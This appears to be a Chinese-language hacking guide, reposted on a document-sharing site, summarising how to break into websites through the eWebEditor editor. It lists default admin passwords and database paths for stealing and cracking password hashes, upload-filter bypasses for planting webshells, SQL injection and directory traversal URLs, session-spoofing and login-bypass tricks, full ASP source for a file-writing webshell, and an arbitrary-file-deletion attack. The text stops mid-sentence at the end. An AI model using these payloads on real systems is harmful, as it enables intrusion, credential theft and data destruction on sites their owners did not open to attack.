范文ewebeditor漏洞利用总结.docx
《范文ewebeditor漏洞利用总结.docx》由会员分享,可在线阅读,更多相关《范文ewebeditor漏洞利用总结.docx(12页珍藏版)》请在冰豆网上搜索。
![范文ewebeditor漏洞利用总结.docx](https://file1.bdocx.com/fileroot1/2023-7/9/8f321db5-3dee-4b5b-9d2e-6eccceb29d74/8f321db5-3dee-4b5b-9d2e-6eccceb29d741.gif)
范文ewebeditor漏洞利用总结
ewebeditor漏洞利用总结
先从最基本的记录起!
通常入侵ewebeditor编辑器的步骤如下:
、首先访问默认管理页看是否存在。
默认管理页地址2.80以前为ewebeditor/admin_login.asp以后版本为admin/login.asp
2、默认管理帐号密码!
默认管理页存在!
我们就用帐号密码登陆!
默认帐号密码为:
adminadmin888!
常用的密码还有adminadmin999admin1admin000之类的。
3、默认数据库地址。
如果密码不是默认的。
我们就访问是不是默认数据库!
尝试下载数据库得到管理员密码!
管理员的帐号密码,都在ewebEditor_System表段里,sys_UserNameSys_UserPass都是md5加密的。
得到了加密密码。
可以去www.xmd5.org等网站进行查询!
暴力这活好久不干了!
也可以丢国外一些可以跑密码的网站去跑!
默认数据库路径为:
ewebeditor/db/ewebeditor.mdb常用数据库路径为:
ewebeditor/db/ewebeditor.asaewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asaewebeditor/db/#ewebeditor.mdbewebeditor/db/!
@#ewebeditor.aspewebeditor/db/ewebeditor1033.mdb等
很多管理员常改.asp后缀,一般访问.asp.asa后缀的都是乱码!
可以用下载工具下载下来,然后更改后缀为.mdb来查看内容!
4、说说漏洞基本利用步骤,还以asp为例!
登陆后台以后。
选择样式管理,默认编辑器的默认样式都不可以修改的。
我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。
.asa.cer.cdx等!
.asp过滤过了。
但是我们可以用.asaspp后缀来添加,这样上传文件正好被ewebeditor吃掉asp后缀,剩下.asp呵呵!
代码不详细说了。
总之是个很可笑的过滤!
同样,如果遇到一个管理员有安全意识的,从代码里,把.asp.asa.cer.cdx都完全禁止了,我们也可以用.asasaa后缀来突破。
添加完了后缀,可以在样式管理,点击预览,然后上传!
5、默认管理页不存在!
在实际入侵过程中,有很多默认的管理页不存在的时候。
我们可以直接访问样式管理页面ewebeditor/admin_style.asp然后用第4步的方式拿webshell。
如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。
然后构造上传!
具体url如下:
ewebEditor/ewebeditor.asp?
id=content&style=www红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!
6、ewebeditor的几个版本存在注入!
ewebeditor以前版本都存在注入ewebeditor/ewebeditor.asp?
id=article_content&style=Full_v200!
添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!
ewebeditorv2.1.6存在注入,可以用unionselect添加上传后缀进行上传!
先贴漏洞利用方式!
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditorasp版2.1.6上传漏洞利用程序----</H3><br><br>
<formaction="
<inputtype=filename=uploadfilesize=100><br><br>
<inputtype=submitvalue=Fuck>
</form>
--------------------------------------------------------------------------------------------------------------
以上代码令存为html!
修改红色部分的路径,然后自动上传.cer文件!
漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!
用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!
在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入"|cer"、"|asa"等!
另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!
贴几个注入用的url!
信息错误则返回脚本出错的提示,在浏览器左下角!
具体利用如下:
ewebeditor/Upload.asp?
type=FILE&style=standard_coolblue1'and%20)%20from%20ewebeditor_system%20)>98%20and%20'1'='1
注意修改红色部分的字段名、位数、ascii码的值!
7、目录遍历漏洞!
这里大概说一下!
目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp高版本的是ewebeditor/admin/upload.asp文件!
这个文件有的不需要登陆验证,有些需要!
很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!
这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!
这些都自由发挥了!
说下漏洞利用方法!
漏洞利用方式如下:
在上传文件管理页面随便选择一个上传样式!
比如ewebeditor/admin_uploadfile.asp?
id=14在id后面添加&dir=../..
类似如下:
webeditor/admin_uploadfile.asp?
id=14&dir=../../../../data/可以看到网站数据库的路径!
另外一个遍历目录的漏洞文件是ewebeditor/asp/browse.asp
漏洞代码为:
FunctionGetList
Dims_List,s_Url
s_List=""
DimoFSo,oUploadFolder,oUploadFiles,oUploadFile,sFileName
'Response.writescurrDir
'onErrorResumeNext
SetoFSo=Server.createobject
SetoUploadFolder=oFSo.GetFolder)
'注意一下scurrDir变量,这个值等下我们可以用到
IfErr.Number>0Then
s_List=""
ExitFunction
EndIf
IfsDir<>""Then
IfInstrRev>1Then
s_Url=Left-1)
Else
s_Url=""
EndIf
s_List=s_List&""&_
""&_
".."&_
""&_
""
EndIf
'Response.writesDir&"!
"&s_List
DimoSubFolder
ForEachoSubFolderInoUploadFolder.SubFolders
'Response.writeoUploadFolder.SubFolders
IfsDir=""Then
s_Url=oSubFolder.Name
Else
s_Url=sDir&"/"&oSubFolder.Name
EndIf
s_List=s_List&""&_
""&_
""&oSubFolder.Name&""&_
""&_
""
Next
'Response.writes_List
SetoUploadFiles=oUploadFolder.Files
ForEachoUploadFileInoUploadFiles
'Response.writeoUploadFile.Name
sFileName=oUploadFile.Name
IfcheckValidExt=TrueThen
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
IfsDir=""Then
s_Url=scontentPath&sFileName
Else
s_Url=scontentPath&sDir&"/"&sFileName
EndIf
s_List=s_List&""&_
""&FileName2Pic&""&_
""&sFileName&""&_
""&GetSizeUnit&""&_
""
EndIf
Next
SetoUploadFolder=Nothing
SetoUploadFiles=Nothing
'Response.writeServer.HTmLEncode&"!
"&s_Url
IfsDir=""Then
s_Url=""
's_Url="/"
Else
s_Url="/"&sDir&""
's_Url="/"&sDir&"/"
EndIf
s_List=s_List&""
s_List=HTmL2jS
'Response.writeServer.HTmLEncode&"!
"&s_Url
s_List="parent.setDirList"
GetList=s_List
EndFunction
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
FunctioncheckValidExt
IfsAllowExt=""Then
checkValidExt=True
ExitFunction
EndIf
Dimi,aExt,sExt
sExt=Lcase+1))
checkValidExt=False
aExt=Split,"|")
Fori=0ToUBound
IfaExt=sExtThen
checkValidExt=True
ExitFunction
EndIf
Next
EndFunction
'我们顺着代码往下找,发现scurrDir的值是通过下面的值得到的
SubInitParam
sType=Ucase))
sStyleName=Trim)
Dimi,aStyleconfig,bValidStyle
bValidStyle=False
Fori=1ToUbound
aStyleconfig=Split,"|||")
IfLcase=Lcase)Then
bValidStyle=True
ExitFor
EndIf
Next
IfbValidStyle=FalseThen
outScript")
EndIf
sBaseUrl=aStyleconfig
'nAllowBrowse=cLng)
nAllowBrowse=1
IfnAllowBrowse<>1Then
outScript")
EndIf
sUploadDir=aStyleconfig
IfLeft<>"/"Then
SelectcasesType
case"REmoTE"
sUploadDir="../../"&sUploadDir&"Image/"
case"FILE"
sUploadDir="../../"&sUploadDir&"other/"
case"mEDIA"
sUploadDir="../../"&sUploadDir&"media/"
case"FLASH"
sUploadDir="../../"&sUploadDir&"Flash/"
caseElse
sUploadDir="../../"&sUploadDir&"Image/"
EndSelect
EndIf
'sUploadDir=sUploadDir&"/"
SelectcasesBaseUrl
case"0"
'scontentPath=aStyleconfig
SelectcasesType
case"REmoTE"
scontentPath="../"&aStyleconfig&"Image/"
case"FILE"
scontentPath="../"&aStyleconfig&"other/"
case"mEDIA"
scontentPath="../"&aStyleconfig&"media/"
case"FLASH"
scontentPath="../"&aStyleconfig&"Flash/"
caseElse
scontentPath="../"&aStyleconfig&"Image/"
EndSelect
case"1"
scontentPath=RelativePath2RootPath
case"2"
scontentPath=RootPath2DomainPath)
EndSelect
SelectcasesType
case"REmoTE"
sAllowExt=aStyleconfig
case"FILE"
sAllowExt=aStyleconfig
case"mEDIA"
sAllowExt=aStyleconfig
case"FLASH"
sAllowExt=aStyleconfig
caseElse
sAllowExt=aStyleconfig
EndSelect
scurrDir=sUploadDir'注意这里,这个是得到了配置的路径地址
sDir=Trim)'得到dir变量
sDir=Replace'对dir变量进行过滤
sDir=Replace
sDir=Replace
IfsDir<>""Then
IfcheckValidDir)=TrueThen
scurrDir=sUploadDir&sDir&"/"
'重点就在这里了,看到没有,当sUploadDir&sDir存在的时候,scurrDir就为sUploadDir&sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出
Else
sDir=""
EndIf
EndIf
EndSub
利用方式如下:
http:
//site/ewebeditor/asp/browse.asp?
style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。
构造特殊的dir绕过上面的验证!
页面空白的时候查看源代码,就可以看到目录列表了!
8、session欺骗漏洞!
适用于一些设置不当的虚拟主机。
当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!
顺序如下:
新建一个.asp文件,内容如下:
<%Session="123132323"%>然后访问这个文件,再访问ewebeditor/admin_default.asp!
欺骗进入后台!
不过很老了!
9、后台跳过认证漏洞!
访问后台登陆页面!
随便输入帐号密码,返回错误!
然后清空浏览器,在地址栏输入
javascript:
alert);
javascript:
alert);
javascript:
alert);
然后再清空地址栏,在路径里输入后台登陆后的页面,比如:
admin_default.aspadmin/default.asp等。
直接进入后台,利用方式见上文!
0、利用远程上传功能!
比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url比如:
利用代码如下:
首先建立1.gif.asp代码如下
<%
Setfs=createobject
SetmyTextStream=fs.openTextFile,1,false,0)
Thetext=myTextStream.ReadAll
response.writethetext
%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:
<%onerrorresumenext%>
<%ofso="scripting.filesystemobject"%>
<%setfso=server.createobject%>
<%path=request%>
<%ifpath<>""then%>
<%data=request%>
<%setdama=fso.createtextfile%>
<%dama.writedata%>
<%iferr=0then%>
<%="success"%>
<%else%>
<%="false"%>
<%endif%>
<%err.clear%>
<%endif%>
<%dama.close%>
<%setdama=nothing%>
<%setfos=nothing%>
<%="<formaction=''method=post>"%>
<%="<inputtype=textname=path>"%>
<%="<br>"%>
<%=server.mappath)%>
<%="<br>"%>
<%=""%>
<%="<textareaname=damacols=50rows=10width=30></textarea>"%>
<%="<br>"%>
<%="<inputtype=submitvalue=save>"%>
<%="</form>"%>
利用上面说的远程上传的方式!
可以得到webshell!
成功率取决于,虚拟主机的安全设置!
1、任意文件删除漏洞!
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!
看代码
'把带"|"的字符串转为数组
DimaSavePathFileName
aSavePathFileName=Split
'删除新闻相关的文件,从文件夹中
Dimi
Fori=0ToUBound
'按路径文件名删除文件
callDoDelFile)
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName=oRs
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp里:
sSavePathFileName=GetSafeStr)
...
oRs=sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
FunctionGetSafeStr
GetSafeStr=Replace,"'",""),chr,""),";","")
EndFunction
既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepat